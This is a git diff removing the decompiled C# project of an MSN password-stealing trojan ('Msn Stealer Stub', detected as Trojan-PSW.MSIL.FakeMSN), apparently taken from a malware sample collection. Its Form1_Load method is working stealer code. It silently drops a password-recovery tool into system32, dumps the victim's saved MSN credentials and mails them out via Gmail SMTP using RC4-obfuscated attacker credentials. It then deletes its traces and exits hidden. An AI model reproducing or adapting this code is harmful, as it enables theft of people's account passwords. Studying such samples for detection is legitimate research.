{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
get
|
||||
{
|
||||
MySettings settings = MySettings.Default;
|
||||
return settings;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.Resources.Resources
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Msn_Stealer_Stub.My.Resources
|
||||
{
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Msn_Stealer_Stub.My.Resources.Resources.resourceMan, (object) null))
|
||||
Msn_Stealer_Stub.My.Resources.Resources.resourceMan = new ResourceManager("Msn_Stealer_Stub.Resources", typeof (Msn_Stealer_Stub.My.Resources.Resources).Assembly);
|
||||
return Msn_Stealer_Stub.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Msn_Stealer_Stub.My.Resources.Resources.resourceCulture;
|
||||
set => Msn_Stealer_Stub.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] msn => (byte[]) RuntimeHelpers.GetObjectValue(Msn_Stealer_Stub.My.Resources.Resources.ResourceManager.GetObject(nameof (msn), Msn_Stealer_Stub.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,53 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Msn Stealer Stub</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Msn_Stealer_Stub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Msn Stealer Stub", "Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.csproj", "{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{46A6AEDD-EE55-44EC-9C8D-10AA5B38373A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCompany("Cyber-Warrior")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Msn Stealer Stub")]
|
||||
[assembly: AssemblyTitle("Türk Hacker")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft")]
|
||||
[assembly: AssemblyDescription("Msn Password Stealer")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("2a1ce61a-af6c-440c-a88a-2ca55f25b33f")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,240 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.Form1
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Msn_Stealer_Stub
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Timer1")]
|
||||
private System.Windows.Forms.Timer _Timer1;
|
||||
private string[] options;
|
||||
private string text1;
|
||||
private string text2;
|
||||
private string text3;
|
||||
private string text4;
|
||||
private const string FileSplit = "@msn@";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
Form1.__ENCAddToList((object) this);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (Form1.__ENCList)
|
||||
{
|
||||
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (Form1.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (Form1.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
Form1.__ENCList[index1] = Form1.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
|
||||
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
|
||||
}
|
||||
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.Timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(194, 172);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.Text = "Msn Stealer Stub";
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
||||
if (this._Timer1 != null)
|
||||
this._Timer1.Tick -= eventHandler;
|
||||
this._Timer1 = value;
|
||||
if (this._Timer1 == null)
|
||||
return;
|
||||
this._Timer1.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.text1);
|
||||
FileSystem.FileGet(1, ref this.text2);
|
||||
FileSystem.FileGet(1, ref this.text3);
|
||||
FileSystem.FileGet(1, ref this.text4);
|
||||
FileSystem.FileClose(1);
|
||||
this.options = Strings.Split(this.text1, "@msn@");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
System.IO.File.WriteAllBytes("C:/WINDOWS/system32/msn.exe", Msn_Stealer_Stub.My.Resources.Resources.msn);
|
||||
Interaction.Shell("C:/WINDOWS/system32/msn.exe /stext C:/WINDOWS/system32/file123.tmp", AppWinStyle.Hide);
|
||||
StreamReader streamReader = new StreamReader("C:/WINDOWS/system32/file123.tmp");
|
||||
string end = streamReader.ReadToEnd();
|
||||
streamReader.Close();
|
||||
new SmtpClient("smtp.gmail.com")
|
||||
{
|
||||
Port = 587,
|
||||
EnableSsl = true,
|
||||
Credentials = ((ICredentialsByHost) new NetworkCredential(this.nuayman(this.options[1], "Türk-Hacker"), this.nuayman(this.options[2], "Türk-Hacker")))
|
||||
}.Send(new MailMessage()
|
||||
{
|
||||
To = {
|
||||
this.nuayman(this.options[1], "Türk-Hacker")
|
||||
},
|
||||
From = new MailAddress(this.nuayman(this.options[1], "Türk-Hacker")),
|
||||
Subject = "Türk Hacker",
|
||||
Body = end
|
||||
});
|
||||
System.IO.File.Delete("C:/WINDOWS/system32/msn.exe");
|
||||
System.IO.File.Delete("C:/WINDOWS/system32/file123.tmp");
|
||||
this.Hide();
|
||||
this.Close();
|
||||
Application.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Hide();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
public string nuayman(string message, string password)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = password.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,86 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyApplication
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
{
|
||||
if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (MyApplication.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (MyApplication.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
|
||||
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
|
||||
}
|
||||
MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[STAThread]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
MyApplication.__ENCAddToList((object) this);
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyComputer
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,212 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyProject
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
